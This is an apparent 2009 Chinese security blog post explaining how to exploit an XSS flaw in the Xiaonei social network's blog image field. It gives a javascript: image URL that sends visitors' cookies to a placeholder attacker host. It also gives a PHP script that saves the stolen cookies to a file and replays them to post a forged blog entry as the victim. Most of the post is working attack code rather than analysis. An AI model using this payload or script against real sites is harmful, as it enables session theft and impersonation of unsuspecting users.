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校内网一个跨站漏洞的利用

作者：Flyh4t　来源：Flyh4t　发布时间：2009-04-15 12:21:00　

标签：校内网,图片,xss,xss漏洞

校内网在发blog时对插入图片过滤不严格，存在xss漏洞

在发blog时将插入图片URL写为如下代码即可触发：

javascript:window.location.href='http://xxxxx/test.php?cookie='+document.cookie

test.php的作用是窃取cookie、伪造阅览者身份发一个blog、跳转到一个正常的日志,代码如下：

<?phpob_start();$url = 'blog.xiaonei.com';$cookie=$_GET['cookie'];$cookie1=$cookie."\r\n\r\n";fputs(fopen('a.txt','a+'),$cookie1); //cookie写入 a.txt//发一条伪造的日志，这条日志里面也可以插入恶意代码$sock = fsockopen("$url", 80, $errno, $errstr, 30);if (!$sock) die("$errstr ($errno)\n");$data = "title=test by fly&body=test by fly&categoryId=0&blogControl=99&passwordProtedted=0&passWord=&blog_pic_id=&pic_path=&activity=&id=&relative_optpe=";fwrite($sock, "POST http://$url/NewEntry.do HTTP/1.1\r\n");fwrite($sock, "Accept: */*\r\n");fwrite($sock, "Referer: http://$url\r\n");fwrite($sock, "Accept-Language: zh-cn\r\n");fwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");fwrite($sock, "User-Agent: Mozilla\r\n");fwrite($sock, "Host: $url\r\n");fwrite($sock, "Content-Length: ".strlen($data)."\r\n");fwrite($sock, "Connection: Keep-Alive\r\n");fwrite($sock, "Cache-Control: no-cache\r\n");fwrite($sock, "Cookie:".$cookie."\r\n\r\n");fwrite($sock, $data);

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